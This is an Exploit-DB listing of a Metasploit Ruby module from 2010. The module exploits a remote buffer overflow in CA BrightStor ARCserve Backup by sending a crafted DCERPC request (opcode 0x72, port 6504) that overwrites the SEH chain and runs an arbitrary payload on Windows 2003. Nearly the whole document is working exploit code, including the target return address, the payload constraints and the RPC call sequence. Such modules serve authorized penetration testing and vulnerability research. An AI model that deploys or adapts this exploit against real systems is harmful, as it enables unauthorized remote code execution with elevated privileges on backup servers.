CA BrightStor ARCserve Message Engine 0x72 – Remote Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-10-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16412/
  • ##
    # $Id: message_engine_72.rb 10551 2010-10-05 12:38:46Z swtornio $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::DCERPC
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
    				11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
    				the buffer and execute arbitrary code.
    			},
    			'Author' => [ 'MC' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 10551 $',
    			'References' =>
    				[
    					[ 'OSVDB', '68329'],
    					[ 'URL', 'http://www.metasploit.com/users/mc' ],
    				],
    			'Privileged' => true,
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    				},
    			'Payload'=>
    				{
    					'Space'=> 600,
    					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'BrightStor ARCserve r11.5/Windows 2003',	{ 'Ret' => 0x2380ceb5 } ],
    				],
    			'DisclosureDate' => 'Oct 4 2010',
    			'DefaultTarget' => 0))
    
    		register_options([Opt::RPORT(6504)], self.class)
    	end
    
    	def exploit
    
    		connect
    
    		handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    		print_status("Binding to #{handle} ...")
    
    		dcerpc_bind(handle)
    		print_status("Bound to #{handle} ...")
    
    		sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)
    
    		print_status("Trying target #{target.name}...")
    
    			begin
    				dcerpc_call(0x72, sploit)
    				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    			end
    
    		handler
    		disconnect
    
    	end
    
    end
    =begin
    /* opcode: 0x72, address: 0x28E893D0 */
    
    short sub_28E893D0 (
     [in] handle_targ_1,
     [in][ref][string] char * arg_2,
     [in, out][ref] long * arg_3
    );
    =end